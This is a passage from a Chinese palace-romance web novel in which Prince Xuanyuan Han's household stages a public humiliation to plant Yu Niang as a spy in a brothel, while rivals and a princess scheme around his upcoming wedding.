半天后终于发现程良不知何时已站在自己案边,便立马急急收起自己的一脸痴笑后倒吸了一口,哼了一声,才恢复了往日的冰冷面容。 程良自知多问无益,轩辕翰定是不会承认什么,且看他到底还能忍多久吧,就看这眼前的情势,都已经把人家抱上了,哼......。 一番得意地猜度过后,这才开始慢慢禀告“殿下,婆婆的儿媳清醒了”轩辕翰听闻眼睛立马抬起看向程良怔着。 程良继续认真地禀报“据她回忆,她是从家中出来后被人诓骗,到了城里的烟花之地万娇阁,万娇阁正是给她下毒之人,却也定期给她服用解毒的解药。但万娇阁却只禁足她在房内,却从不用她接客,所以目前还不知道他们意欲为何”。 轩辕翰听了微微蹙眉亦是不解,程良自是对万娇阁有所耳闻,他道“万娇阁是西秦最有名的烟花之地,有很多王公大臣流连忘返与此,他们更是培养了许多貌美的女子尤物进献给各国大臣交换名利,各取所需,甚是鱼目混杂”。 “难道万娇阁是北烈细作的据点?”轩辕翰突然想起衣上云之前跟他说过婆婆的儿媳所中的断肠草毒种类是产自北方游牧民族,再听到程良的这番话,一下子便联想到北烈国。 程良听了亦是恍然大悟,眼睛一抬便开口道“殿下,属下有一计”。 轩辕翰看向他,程良继续道“不入虎穴焉得虎子,何不让婆婆的儿媳重新回到万娇阁,属下命人暗中加强保护,如此规模的场所,必定有重大阴谋。让其帮我们引出这些幕后之人来。既然她丈夫的失踪跟北烈国有关,无论她想寻人还是报仇,她肯定会愿意做这件事的,没准或许还真能借此找回她的丈夫”。 “这不失为一个好的计策,但如果她不愿意,就找合适的人去做,不要为难她”轩辕翰交代程良,程良心领神会地退下立即去办这件事。 “媳妇,这件事非同小可,那种地方一不小心你可就性命不保啊”。 “娘,你放心,玉娘一定会加倍小心。为了灵儿的爹,为了我们一家人能早日得已团圆,玉娘什么都愿意做,哪怕是赔上玉娘这条性命也在所不惜。再说了娘,没准灵儿的爹真的还活着,那玉娘就更要做点什么了,您就放心答应让玉娘去吧”。 程良一得到轩辕翰的准许,告退后便来将他们方才的计划急急告诉了婆婆一家三口,没想到玉娘听了一口就答应了,可是婆婆却甚是不舍。 儿子没了,媳妇好不容易能够活着回来,她自是不愿意冒险一家人再次分离,灵儿再次失去母亲。 可是听到媳妇这席话,她也开始信心满满地相信着儿子尚还活在人间,这种诱惑又不得不驱使让她这个做母亲的内心为之动摇。 最终婆婆还是依依不舍地含着泪答应了玉娘,一家三口紧紧抱在一起痛哭流渧。 又要分别了,这一别不知明日会发生何事,亦不知归期是何夕? 第二日天一亮,张嬷嬷便奉秦王轩辕翰之命配合着王府上下上演了一场好戏-苦肉计。 张嬷嬷起初是专门侍奉先皇的嬷嬷,太妃一入宫侍奉先皇受宠,先皇便将她特赐给太妃。至此就寸步不离伴随着太妃左右,对太妃尽心尽责忠心耿耿。 直至太妃离世,她也不愿再离开王府,总感觉王府就是她的一辈子,她的一辈子都在这里,她又怎舍得离开。 于是,张嬷嬷在这里也就是秦王府最老的人了,也是整个王府上下大家都最尊重的人。几十年的宫中生活,后宫嫔妃们的各种心计在她的心里可是一点都不含糊的。 这一大清早的,路上人来人往络绎不绝,各自都急急赶着各自的路。 此时,却都不约而同地被秦王府后门的喝斥怒骂声纷纷吸引过来,顿时间秦王府后门口人头攒动,聚集了黑压压一大片看热闹的人。 只见一个面容娇好,身材也很是不错凹凸有致却发髻散乱的女人被两个秦王府的仆人架起狠狠从里面拖出来后推出门外摔在地上...... 第二十八章:屈辱,秦王府的狐狸精 大清早,路上人来人往络绎不绝,各自都急急赶着各自的路,却都不约而同地被秦王府后门的喝斥怒骂声纷纷吸引。 顿时间秦王府后门口人头攒动,聚集了黑压压一大片看热闹的人。 只见一个面容娇好,身材也很是不错凹凸有致却发髻散乱的女人,被两个秦王府的仆人架着从里面拖出来后狠狠推出门外,摔在地上。 女人顺势侧身趴倒在了门口冰冷的地上,泪流满面低着头抽泣着,接着迎面被甩过来一个青色的粗布包袱,里面包裹着的都是些普通质地的女人衣衫。 包袱本就是胡乱系着,就这样被松松散散地丢出来,里面的衣物一瞬间犹如飞花般散落了一地,里面几件轻小而柔软贴身,略微带些性感色彩的亵衣亵裤,引起了周围人群里许多猥琐眼神的注意。 然那妇人此时却只顾着痛哭而并没有注意到散落的包袱,周围的行人见此情景都纷纷交头接耳嘀咕着,对着妇人指指点点。 只见张嬷嬷做出一副趾高气昂的姿态来,扬眉鄙视着妇人,一脸愤怒嗤之以鼻地对着妇人狠狠谩骂:“贱人,不要脸。真没看出来你竟是个想飞上枝头做凤凰,攀图富贵的狐媚主”。 此时,人群里有人听闻后便道“哦,原来是秦王府抓住了个狐狸精啊”。 张嬷嬷看了一眼说话的人,继续面不改色道“昔日里我看你无家可归,可怜你才收留你在王府里当差伺候。你倒好,竟然打起秦王殿下的主意来。秦王殿下也是你这种低贱身份的人可以亵渎的吗?秦王殿下也是你可以惦记的?你也不先拿个镜子好好照照自己是猫是狗?秦王可是当今陛下御赐良缘不日便要将大婚娶那富甲一方的东宁国最尊贵的公主的。贱人你可知自己是什么身份,还不快滚,要不是王府不日就要大办喜事,见不得血光,今天本嬷嬷定会让你横着出去。以后再让我瞧见,小心你的贱命”。 话一说完张嬷嬷便狠狠地哼了一声便转身进去,命人将大门关上。留那妇人一人始终侧身趴在地上一句话都没有。 此时,围观的人群听完了张嬷嬷的整段故事,终于明白发生了什么事情。 这时,都对着妇人一边摇头,一边指手画脚地议论谩骂着,甚至不乏还有对其唾弃口水者...... “原来是个骚货,狐狸精” “长得倒是眉清目秀还说得过去” “可这是秦王,西秦国皇帝唯一的亲弟弟,西秦唯一尊贵的王爷,一人之下万人之上” “这天下有多少大臣贵族富商之女挤破了头想要高攀都攀不上,岂是你能攀附的” “真是癞蛤蟆想吃天鹅肉——痴心妄想,不要命了” 忽然人群中竟有人将刚从集市置办回去要喂鸡的烂菜叶子向妇人丢了过去,正好砸在妇人身上,本来趴在地上一动不动的妇人突然被惊吓到,身子微微晃了一下。 谁知紧接着人群里众人瞬间有模学模有样学样,只听到连续不断的“啪啪啪.......”臭鸡蛋、喂狗的废弃骨头、更多的烂菜叶一一向着妇人抛丢过去,妇人瞬间变得污头垢面甚是凄惨。 手里没有可丢的物件的,竟然随手在地上捡到什么便是什么的拿起朝向着妇人掷过去。 忽然,人群里几名穿着打扮不像是一般平民女子的小姐模样朝着妇人亦摩拳擦掌着走过去...... “你们要干什么”妇人见来人朝着她横眉竖眼地过来,惊慌失色道。 “不要脸的贱人,竟敢亵渎我们心中至高无上睥睨天下的秦王殿下,本小姐今天就让你好好长长记性”一名女子瞪大眼睛冷眼朝她训斥。 “不要......”随着妇人一声凄惨的求饶尖叫声,这几名女子一起上前来对她掌掴的掌掴,扯头发的扯头发,拳脚相加撕扯在一起,背后的人群见机亦是一拥而上,场面瞬间一片混乱。 ...... 而此时,仅一墙之隔的秦王府后院里,妇人玉娘的婆婆和她5岁的女儿灵儿清清楚楚地听着外面的谩骂声和所有发生的一切响声,却都强忍着早已泪流满面。 “不,她们不能这样对灵儿的娘亲,娘亲......”灵儿大叫着,终于忍不住拔腿转身朝大门奔去。 婆婆看见紧紧追上去一把将她死死捉住拼命往回拽,灵儿却拼尽全力伸直了另一只弱小的胳膊,撑开五指想要去触那门的门闩,可终究还是被婆婆拽的离门闩越来越远。 离开大门后,婆婆便急急用一只满是沧桑的手捂住自己的嘴巴,另一只手则同时也捂了小孙女的嘴巴,只怕再这样下去,这哭喊声怕是要引起墙外某些人的怀疑了。 终于她将灵儿紧紧控制拦住在自己的怀中,确保灵儿再无力挣脱跑出去或者发声喊出声来破坏了他们的重要计划。 许是一时情急用力太大,灵儿的小脸一会儿便憋的通红通红的。 张嬷嬷站在一边心疼地看着,却又一脸的无可奈何。 小小年纪,本应是无忧无虑受爹娘万般疼爱庇护周全,可仅只5岁的灵儿心灵却要遭受一次又一次的重创; 风烛残年,本应是儿女承欢膝下、含饴弄孙、安享天年,可如今婆婆却是儿子生死不明,媳妇又为此挺身走险进入虎穴。 良久,张嬷嬷深深叹了口气,满脸心疼地朝着婆孙俩走过去,缓缓拿开了捂在俩人嘴上的手,语重心长地说“放心吧,今天这苦,玉娘不会白受,她一定能做到。苍天有眼,相信你儿子一定还活着,你们一家人很快就会团圆的”说完三人互相凝视着。 而此时,站在大殿门口的轩辕翰和程良亦是一脸凝重地看着眼前发生的一切,轩辕翰单手负手而立,愤怒的拳头紧紧握起。 程良从身后看着主子那紧握的双拳,眼里亦露出充满杀气凌厉而又坚毅的目光。 爱,让人变得勇敢而无畏; 为了爱,我们可以义无反顾地挑战自己的所有极限,哪怕是...死。 许久后,街上看热闹的人终于渐渐地也一个个慢慢散去。 遍体鳞伤的妇人这才缓缓抬起头,起身来收拾这一片狼藉。一片片地扯掉头上身上的馊物,弯腰下去重新整理好散落的衣物,再系好包袱。 随即慢慢起身来将包袱搭在肩上,向前踉踉跄跄缓缓走着,一路所到之处尽是一片路人对她的指手画脚、评头论足、言语讥讽、污声漫骂。 她心里着实委屈,可是她却依旧告诉自己要勇敢,只有勇敢坚定地走下去,才能让她今日所受的所有侮辱都变得有价值,而这价值便是换取一家人幸福的团聚。 终于她灰头土脸一跌一跄地来到了万娇阁门口。 一到万娇阁,便看到门口一个发髻上插着一朵朱红大绢花,浓妆艳抹的老鸨正扭捏着那副水桶腰满脸堆笑着接送来往的“贵客”。 一看到上次逃跑的妇人归来,老鸨便气冲冲地大步流星朝着过去。一脸横肉地骂道:“好啊,原来是你这个不要脸的。看来是老娘平日里对你太好了,你还敢跑。怎么,听说你看上了秦王府的主了。眼光还不低啊,即是如此,你怎么不早说呢,老娘我可以找人帮你好好打点打点,铺铺路啊。你就这样自己这幅德性送上门去,被人赶出来了不是”。 老鸨一边说着一边双臂环自抱胸而立,显出一副自己无所不能的气势来。 妇人连忙迎上去扶住她的胳膊苦笑着说“对不起,是我不懂事,您就原谅我一次吧,以后我再也不跑了”。 “哼,你当我这儿是什么地方啊,想来就来,想走就走”老鸨哼着鼻子道。 “以后我一定听你的话,你就饶了我这次吧”老鸨见其服软,便二话不说一把死死捏住她胳膊上的一块皮肉,一路扯着将她拽进万娇阁的大门。 随即将她丢给几个壮汉,交待其看好了,莫让再逃了“你们几个废物,给老娘把她看好了,要是再给逃了,看主子不活剥了你们的皮才是”。 就这样,玉娘又重新回到了之前好不容易差点丢了性命才逃离的令她深恶痛绝的烟花柳巷之所,不知道她接下来的命运到底会是怎样的? 但是这次回来她却是心怀欣喜,心甘情愿的。因为她知道了这里肯定会有北烈的细作,有北烈的细作便会有他丈夫的消息。 他不相信他的丈夫会死,他的丈夫一定还活着。她要救回她的丈夫。所以再苦、再痛、再难她也一定会做。 她坚信,他们一定会有全家团聚的那一天。 而在西秦学院陆天娇的阁楼里,陆天娇正独自坐在窗前望着窗外.阴冷的天气发呆。 窗外尽是一片冬日里枯枝荒凉的景象,正如她此刻荒凉落寞的心,唯有她自己孤芳自赏。 打小她就以为与自己青梅竹马一起在西秦学院读书长大的轩辕翰,她更愿意亲切地称呼他做翰哥哥,会是她这辈子唯一也是她最好的归宿。 从认识轩辕翰的第一眼开始,她就认定了做翰哥哥的王妃是她这辈子最大的梦想和骄傲。 这么多年,她小心翼翼地守着自己的这份期许,期盼着身为院长又对轩辕翰忠心耿耿唯命是从的父亲能尽早替自己做主,将这份女儿家羞于启齿的心思禀明殿下,而今谁料却被璟帝的一纸赐婚全都泡汤了。 “永乐公主”此时她蹙眉口中念道。 随即只见放在桌案上的一只纤纤玉手慢慢紧握成拳,攥得紧紧的,紧紧的。 第二十九章:长相思兮,短相思兮 “永乐公主”陆天骄蹙眉口中痴痴念道。 随即只见放在桌案上的一只纤纤玉手慢慢紧握成拳,攥得紧紧的,紧紧的。 此时,东宁国永乐公主的送亲队伍已到达了西秦国边境。 轩辕翰大婚在即,陆天骄即将要同哥哥陆天麟随父亲一道启程前往秦王府贺喜观礼。可她实在不知,到时候她是否能控制住自己这愤愤不平的心情。 就在这时,陆天麟兴冲冲地掀开厚重的门帘走了进来“妹妹,这天真是越来越冷了,你可得多注意着点身子啊,此次前去秦王府,记得多带几件衣服。别冻着了”。 自从上次被轩辕玥来西秦学院训斥了一番后,陆天麟倒真的改变了不少,竟老老实实地帮着父亲陆贤打理起了学院诸事,如今已然可以独当一面了。 他一进门便看到妹妹原本娇柔精致的小脸上这会儿正展现着一副心灰阴冷之态以及那放在桌案上的一只紧紧握起的秀拳,顿时心里自然也是猜出了半分。 陆天骄抬眼看了陆天麟一下,却没有说话,仍旧回到自己沉沉的心思当中沉浸着。 陆天麟见此自是有些心疼这个妹妹,便劝道“妹妹,这也不能全怪秦王殿下,毕竟殿下的大婚和殿下的王妃,这一切本就不是殿下自己...尤其不是父亲可以左右得了的?”。 “可殿下这么多年甚至连一句话对妹妹都没有,不是吗”,有时候有些事不说也罢,一说反倒会让人更加愤怒和伤心难过。 就如现在,听到陆天麟的这句话,陆天骄满腹的委屈瞬时爆发愤怒地吼道,往日里的温柔、端庄、冷静、瞬间都消失的无影无踪。 “妹妹,这不是他们的错”陆天麟依旧还想极力劝解。 “那依哥哥的意思,是妹妹我的错了?”陆天骄竟有些蛮不讲理的声嘶竭力起来,眼角竟然还伴随着流下了一串串苦情的眼泪来。 “哥哥应该知道,翰哥哥是你妹妹...我从小长到大唯一喜欢的人。妹妹甚至都认为自己就是为翰哥哥而生的,翰哥哥是妹妹我的梦我的命啊”陆天骄情绪越来越激动,也让人着实越看越心疼。 “入我相思门,知我相思苦,长相思兮长相忆,短相思兮无穷极,早知如此绊人心,何如当初莫相识”陆天骄最后黯然神伤地低吟道。 陆天麟看着她满腹悲伤,仍竭力寻思该如何才能宽慰她这个向来感情细腻而又心思颇重的妹妹。 谁知陆天骄突然收起了哭声,拭了拭脸庞的泪痕接着说了句“哥哥,妹妹不能放弃,我若真的放弃了,那便就不是陆天骄了”。 陆天麟听着看着这个妹妹,被她此言行举止吓了一跳,立马站起身来质问道“妹妹,你想做什么?”。 “夜深了,哥哥请回吧。妹妹要休息了,明日大早还要启程赶路前往秦王府道贺呢”陆天骄忽然看都不看陆天麟的眼睛,只顾冷声着说出这番话来,便急急赶着陆天麟出了房间。 陆天麟无奈只得起身踱了步离开,听了妹妹这些话,他心里七上八下,轻声喃道“老天保佑,这个傻妹妹可千万不要做出什么出格的事才好”。 待到看见陆天麟确实已经完全走远了,陆天骄才重新回到窗前的桌案边继续坐了下来,嘴角和脸上却露出了一脸充满邪恶的冷笑,让人在本就寒冷的冬天里瞬间不寒而栗。 ...... “什么?”。 风华宫里传出轩辕玥惊叫的声音。 原来是宫女刚刚禀报了一个皇宫里的大八卦传闻,于是她便被刚呈上来入口的一杯奶茶呛得瞬间不断地咳起来,半天后好不容易才恢复了平静。 “你说的可是真的?”轩辕玥再次惊恐地确认。 “公主殿下,稍安勿躁。奴婢说的句句属实,御药房所有人都亲眼所见,均可作证”小宫女吓得跪地怯怯地禀着。 “本公主这个皇叔,他真的当着众人的面抱了那个丫头?还早就送了手镯给她?本公主没有幻听?”轩辕玥本能般地轻触一下自己的耳朵,一脸的不可思议随即便在殿内来回踱步着。 正在这时,衣上云和丁香刚好端着轩辕玥的冬日滋补药汤来求见。虽然在轩辕翰的庇护下她已经是大药女了,可知道轩辕玥不是一般人伺候得了的,也本着对她一份尤为感恩的特别心意,衣上云还是会亲自处理风华宫的药石之事。 还没等她来得及向轩辕玥行礼,轩辕玥一看到衣上云进来,便急急冲着她踱着大步迈过去拉住她的手进来道“云儿,你来的正好。刚才这些个大胆的奴才跟本公主说秦皇叔当着御药房所有人的面抱了你,还送了你一只手镯,你告诉本公主,这到底是不是真的?”。 衣上云和丁香听闻惊慌失措,两人目光对视,又随即低下了头。 而这时,紧抓着衣上云手腕的轩辕玥不明所以地盯着眼前这两个人怪异的表情,左右看了看,手里一不小心便摸到了衣上云衣袖下的那只七彩.金丝彩玉镯子。 轩辕玥不等衣上云将手缩回去,顺势便一把掀开了她的袖子,一只精美的七彩玉镯便展现在了众人的面前。 “天哪,快看,真的有耶”风华宫内众人,有的惊讶着捂嘴,有的惊叫......瞬时间议论纷纷。 轩辕玥亦是瞪大了眼睛,一张樱桃小嘴也随之惊讶地张开来,竟惊得结巴起来,半天说了一句“不会吧...这...难道这就是秦皇叔......,这一切是真的?”。 轩辕玥不敢相信自己的眼睛,盯着手镯半天才艰难地说完了这句话,随即便抬起头来看向衣上云的眼睛,一动不动地要她一个解释。 就在衣上云诚惶诚恐正准备开口的时候,丁香抢了先说道“公主殿下,这都是奴婢的错,公主您不要责怪云儿。是奴婢得知云儿有一个十分珍贵的手镯,便硬是求她让奴婢看一眼,谁知被之前的大药女发现,想占为已有,云儿不肯,大药女便将云儿关了一天一夜还严刑逼供。奴婢怕云儿出事,那日,奴婢本是要来风华宫求公主相救,谁知半路遇到了秦王殿下。殿下心善,才帮助了云儿。这个手镯,奴婢作证,本就是云儿的,并不是秦王所赠。真的,公主,请您相信奴婢,奴婢绝对不敢欺瞒公主”。 丁香胆小,但是衣上云待她极好,她也自是知恩善报,不能辜负了她。 听完丁香的这番话,轩辕玥才后怕起来,方感是自己大意了。她早该派人去御药房看一眼的,难怪这么久没看到这个丫头来风华宫走动。 随即她赶快拉着衣上云上下左右仔仔细细打量了一番后语重心长地问道“都伤哪了,好了没有,可还有哪里感觉不适?”。 衣上云朝她微笑着,连忙回道“公主,奴婢并无大碍,已经没事了。谢公主关怀”。 丁香却愤愤不平地告诉轩辕玥“哪里无大碍了,那个大药女真是太坏了,她竟用井水浇云儿,这大冬天的,人都快冻僵了,如果再晚到一步,怕是就性命不保了呢”。 “哼,这个大药女究竟是何方神圣,她是不要命了吗,本公主的人竟也敢动”轩辕玥听了气不过地怒道。 丁香又道“不过公主殿下,原来的大药女已经被院使大人严惩了五十大板,现在云儿已经是新晋的大药女了,这一切都是托了秦王殿下的福”丁香一脸崇拜地说着。 衣上云斜眼瞪了她一眼,她才终于安静了下来。 “秦皇叔此事办的甚是漂亮......那皇叔真的抱你了?”轩辕玥依旧不依不饶,凑到衣上云身边想要确认。 衣上云低着眉眼没有说话,脸上却又露出了那久违的一片绯红。此时不用她解释,亦不用她言语,轩辕玥看着她的表情就已经明白了所有的一切。 此时轩辕玥嘴角上扬,得意地坏笑着。忽然那调皮的一对眼珠子咕噜一转,冒出这样一句话来“云儿,后天随本公主出宫,我们去......秦王府”。 衣上云听到她这句话,立马抬头惊道“公主,云儿......”可一看到轩辕玥不容置疑的眼神,她又将话咽了回去。 轩辕玥走到她身边侧身斜向她说“你受了本公主皇叔这么大的恩,如今人家大婚在即,难道你不应该亲自上门致谢,道个贺吗”说完,她竟发出一阵“哈哈哈”爽朗的笑声来,一点都不像一个端庄优雅的皇家公主模样。 衣上云这下被轩辕玥怼的彻底没了推辞拒绝的余地。 衣上云只能心想,罢了,她只要跟在轩辕玥后面就好了,她也确实应该当面好好谢谢轩辕翰,那么多次危难时刻的挺身相救。可除了说谢谢之外,她想想自己也没有什么其它珍贵的东西可以做谢礼的。 “对了...谢礼...”衣上云喃喃道。 那可是秦王殿下,西秦国或者整个灵空大陆还有什么东西是他所期许的吗?他可什么都不缺呢。 是夜,然夜不能寐。虽说去秦王府要怎么应对,衣上云早已经心里计划好了,可如今却还是碾转反侧失眠着。 到底为什么失眠,怕是她自己也说不清楚。她自是不知,她与轩辕翰之间的爱恨纠缠才刚刚开始。 城东秦王府里,里里外外已被装饰成一片大红喜庆的氛围。 轩辕翰亦是躺在寝殿的床榻上失眠着。大婚将至,他的脸上却依旧冰冷无一点喜色,反而躺在榻上手里紧紧攥着一条白色丝帕,连他自己都不知道从什么时候起,一安静下来的时候就已经习惯性地拿出这条丝帕反复细细地端详。 仿佛每次端详的时候就会看到那个瘦弱、勇敢、坚强的倩影。 然而却是“山有木兮木有枝,心悦君兮君不知”,好像世界上最遥远的距离并不是生与死,而是他站在她面前,她却不知道......他心悦她。 第三十章:大婚贺礼 自古以来皇族的大婚,本就隆重。 而轩辕翰作为西秦皇帝唯一的亲弟弟,也是西秦国唯一的亲王,他的大婚与西秦皇帝相比较自是也不会逊色多少,璟帝也不能不给他这份独有的荣耀。 璟帝膝下单薄,能继承未来大业的也就只有一个如今仅仅10岁的太子轩辕昊,且这几年太子一直由太傅温谦伴驾左右隐藏身份于灵空大陆各地之间多方游历。 因此这些年,四方征战、驰骋沙场、保卫疆土的兵权重任即使天生多疑他也只能交予这个唯一的亲皇弟。 虽也是他的心头刺不得不处处提防,但也似是他无可奈何的事,谁让这个骁勇的战神皇弟足智多谋、沉稳内敛、少年便得已封王,但凡灵空大陆敌国将领无不闻风而丧胆呢。 如今大婚六礼:纳采、问名、纳吉、纳征、请期、亲迎。从开始的每一项宫里的那几位主子都安排了专门的礼部官员尽心操持,自会面面俱到,这个亲王自是要给足他皇家应有尽有的颜面。 眼看着明日便到吉时了,秦王府里已是万事俱备只欠东风。里里外外张灯结彩喜帐连连,门户上贴着喜庆的对联,到处满是醒目的大红双喜字,一盏盏大红灯笼高高挂起,无处不是一片大喜之色。 这会儿时间已经快到晌午了,远远地两辆马车正向着秦王府方向而来。马车里面坐着的正是西秦学院陆家公子陆天麟和大小姐陆天骄兄妹俩。 “哥哥可知,这两把古琴本是妹妹留给自己出嫁用的,可如今...”陆天骄看着眼前的两把貌似很珍贵的稀世古琴黯然神伤地对坐在身旁的陆天麟说道。 “妹妹,事已至此,木已成舟,你再伤感也是徒劳烦恼,不如宽心才好。秦王府就快到了,莫让殿下和父亲看到你的心思”陆天麟满脸忧心地关切安慰道。 然陆天骄却根本就没听进去,只自顾自地一直低头看着眼前的两把琴痴痴地愣着。 马车很快到了秦王府门口停下来,陆天骄跟随着陆天麟下车来。一抬头就看到了眼前这一片刺眼的大红色,她竟霎那间好像被惊吓到了似的怔着,然眼里却噙满了泪水,让人看着甚是楚楚可怜的模样。 陆天麟看到她此时的神情,连忙扯了扯她的衣袖,她方才清醒过来轻轻拭掉脸庞的泪痕,跟着一起步上了石阶走了进去。 “陆院长、陆少主、陆小姐、一路辛苦,里面请”走出来相迎的是副将程良,他恭敬地问候后将三人一路带至承华殿。 三人一入殿内,见到高高在上的秦王府正主,便急急一齐上前行礼道贺: “老夫恭贺王爷大喜” “天麟恭贺王爷大喜” “民女恭贺王爷大喜” “都起来吧,赐座”轩辕翰依旧端着一副冰冷的姿态说着。 “殿下,这龙吟琴和凤鸣琴乃老夫代表西秦学院恭贺殿下大婚的一片心意,还望殿下笑纳”陆贤恭敬地说道。 跟着,陆天麟和陆天骄兄妹俩人起身恭恭敬敬地将古琴奉上,陆天骄露出一脸的不舍和哀怨之态。 “院长有心了”轩辕翰惜字如金地说出这几个字,程良便急急上前接过贺礼将其小心翼翼地放在大殿一角的桌案上。 这时,轩辕翰问陆贤道“本王安排你的事情,进展如何了?”。 “殿下交代的事,老夫尚还在查找确认中,如有消息,老夫会立刻前来通知殿下。今日,老夫此行还有要事要与陛下禀告,就先行往宫里,明日再来登门叨扰”陆贤说着便起身来。 “程良”轩辕翰示意程良送客。 “多谢殿下,老夫先行告辞”陆贤行礼退了出去。 陆贤向来对轩辕翰忠心耿耿,作为父亲,他又怎会不知自己心爱的女儿自幼便苦恋轩辕翰的心思。 但他从来都不曾逾越半步去跟轩辕翰提及此事,尽管自己心里也真的非常期许,那也只能是放在自己心底最深处的一片希冀而已,因为他一直都清楚地知道轩辕翰并非池中之物。 此时,轩辕玥的马车也已经行至秦王府门口,程良刚送走陆贤,便匆匆上前去恭迎公主殿下大驾。 “这天怎么突然变得这么寒冷了,莫非是要下雪了吗?”轩辕玥一下车来便抬头看看天心里嘀咕道。 “末将程良恭迎公主殿下”。 “平身吧。程将军,这天怎么突然这么冷,你们主子明日大喜,不会要下雪吧,那可就是今冬的第一场雪啊”轩辕玥对着程良说着,还没等程良回话,便眼一斜就被这王府门前壮观的一片大红喜庆的氛围吸引了去。 “这些奴才办事还算得力,看这气派倒也是配得上秦皇叔的尊贵身份。云儿,你说是吧?”轩辕玥朝着还远远躲在一边的衣上云说道。 “回公主,秦王殿下大婚,奴才们自是不能怠慢了”衣上云微笑着回轩辕玥,同样也被这不得多见的豪华气派吸引着。 “怎么样,羡慕吧,以后云儿若是成亲,本公主便做主也让你风风光光地出嫁”衣上云听了轩辕玥这句话立马露出一脸绯红,耳朵霎时都跟着红透了。 口中急急说道“公主慎言”。 “怎么,害羞了?被皇叔抱都抱过了,怎么还这么小家子气”轩辕玥歪着脑袋眼睛直直盯着衣上云的眼睛,衣上云瞬时不知该如何回答,只得将头低的让人都看不到脸了。 此时一边的程良也正眼巴巴地看着眼前这两个女人打趣,竟独自一人痴笑起来,他可是亲眼所见他的主子对衣上云的那个公主抱的,真是羡煞旁人呀。 说完,轩辕玥嘴角上扬露出个诡异的笑容,便径自朝着承华殿扬长而去,一行众人紧跟其后侍候。 “秦皇叔,玥儿......”轩辕玥人还没进来,声音就已经传到了承华殿里那三个人的耳朵。 这时,三人一同朝她看去,她也自是一脸惊讶地愣了一下,嘴里喃喃“想不到陆家这朵白莲花也来了,还有那个整日无所事事的纨绔子弟陆天麟”。 轩辕玥朝着陆氏兄妹抛过去了一个轻蔑的眼神,随即便对着轩辕翰恭恭敬敬地行礼道“玥儿拜见秦皇叔,给秦皇叔道喜了”。 可轩辕翰还没开口让她起身,她便急着自己礼毕。随后朝着陆氏兄妹二人说道“你们俩兄妹倒是挺会找地儿啊,这哪儿人多你们往哪儿挤。知道秦皇叔大婚,满朝王公大臣贵族都会前来祝贺,所以你们兄妹俩是一起合计着来这儿捡攀高枝的么?” “玥儿”轩辕翰冷声训道,轩辕玥听到看了他一眼,此时的陆氏兄妹一脸愕然地低着头不语。 轩辕玥看到他们的表情心里窃喜,便道“罢了,这大喜的日子,本公主懒得因为你们俩坏了本公主的好兴致”。 接着轩辕玥朝大殿里四处张望了一下,看到了放在一边角上的两把古琴,便朝着走了过去,仔细看了一番后只听她说“吆,这贺礼倒是有几分意思啊”。 她回头看了一眼陆氏兄妹,已猜出是他们所赠,而此时只有陆天骄看着她一脸狐疑不知道轩辕玥又想做什么,轩辕玥只对着陆天骄微笑了一下说“这就是传说中的稀世古琴,凤鸣和龙吟吧?呵呵。秦皇叔,凤求凰,琴瑟和鸣啊。不错,真是好礼,好礼”。 陆天骄话听到这里脸都已经绿了,本来弯弯的一对柳叶眉此时紧紧皱了起来。 “玥儿,不得无礼”轩辕翰再次训斥道。 轩辕玥见轩辕翰又训斥过来以示阻止,咕噜咕噜转了转眼珠突然看到边上的衣上云一直沉默着,便道“秦皇叔大婚,玥儿也有礼物要送。不过皇叔你已经贵为西秦最位高权重的秦王,与父皇比只是一人之下万人之上,自是不缺这些身外之物,那玥儿就送......”。 轩辕玥说着说着顿时停住,将一根手指指向了一边的衣上云过去,踱步慢慢走向她身边,衣上云见轩辕玥的目标落向了自己的方向,顿时六神无主不知所措,不晓得这个顽皮的公主又想做什么,只得深深地埋下头来当作视而不见。 而陆天骄见轩辕玥此举亦是一脸茫然,她远在西秦国最南边境,自是不知这里都发生了多少故事。 轩辕玥一靠近衣上云身边,便用一只手捉起她的衣袖,从里面竟摸出一只香囊来。衣上云一脸惊愕轩辕玥怎么知道自己有这个香囊的。 “你这奴才,还不快快把帮本公主准备的大婚贺礼呈上来给秦王殿下,更待何时”轩辕玥瞪着衣上云说道。 只见轩辕玥手里拿出个别致的口袋式宝蓝色香囊朝着轩辕翰一脸惊喜地说道“玥儿要送秦皇叔的正是这个爱心药香囊。正所谓戴个药香囊,不怕五虫害。秦皇叔四方征战,此药香囊不仅可以预防瘟疫,还可以驱邪解毒,平日夜里皇叔就寝也可将其置于枕边用于安神”。 公主这是什么意思,按照礼数,这个时候香囊不是该新娘子送的吗?陆天骄听了轩辕玥的话心里顿时疑惑着,只听到接下来轩辕玥说的话更让她意外。 轩辕玥说“皇叔,这个香囊可不是一般的香囊哦,这个是市上买不到的,独家秘方,灵验至极,记得一定要日日佩戴于身方显其神效喔”。 “本王知道了”轩辕翰竟欣然答应佩戴了。 真是胡闹,陆天骄...... 第三十一章:白莲花,实至名归 “真是胡闹”陆天骄心里极为愤怒地嘀咕道,暗地里撇了撇嘴,谁知眼神一个不小心瞥到了旁边还在傻愣呆着的衣上云身上落下来。 陆天骄一脸疑惑地定睛上下仔细打量着眼前这个貌似营养不良所致瘦小的蒙面巾女子。 而衣上云此时亦是心在扑通扑通地跳个不停,露着一脸的慌乱之神,她正思索着轩辕玥是如何知道自己袖里新制的这个药香囊的。 轩辕翰身份尊贵非比寻常,但却一次又一次地救自己于危难之中,而出身卑微囊中羞涩的她,也自知自己不可能拿出什么稀罕像样的贺礼来。 但世人皆知秦王一向勤政爱民,日理万机,且常年征战灵空四海八荒。所以她便连夜赶着配制了这个有驱虫避毒、养心调气、安眠宁神之效的药香囊. 可本就微不足道,当她在大殿里看到了西秦学院所呈上的稀世珍宝贺礼后,她便更不知道她这份连薄礼都算不上的贺礼该以何借口将其奉上,又恐被人误会。索性藏着掖着都打算不拿出来了,可没想到...这轩辕玥到底是如何得知的。 就在衣上云还在一脸匪夷所思的时候,药香囊竟已到了轩辕翰手中。 只见香囊高雅宁静的宝蓝绸缎上嵌着几枝白梅,此时轩辕翰正用右手轻轻捧起这个药囊靠近鼻端,微微闭眼深吸起来,只觉闻着一阵清醒之味,纵使终有烦恼千万,也风起流苏飖,轸穗扬扬愁尽消。 在场众人痴望着轩辕翰满是陶醉的神态,皆被眼前这幅活色生香如痴如醉的美男图所深深吸引,唯独只有衣上云见此情景猛地又一次埋头下去再也不敢抬起。 忽然,这片充斥着满满温馨浪漫,时光静好的极其惬意暧昧的气氛被一旁终于已经忍无可忍的陆天骄一语打破“公主殿下,自古香囊乃是由新娘子所配制待到过门时分相赠,公主此举怕是有违规矩”。 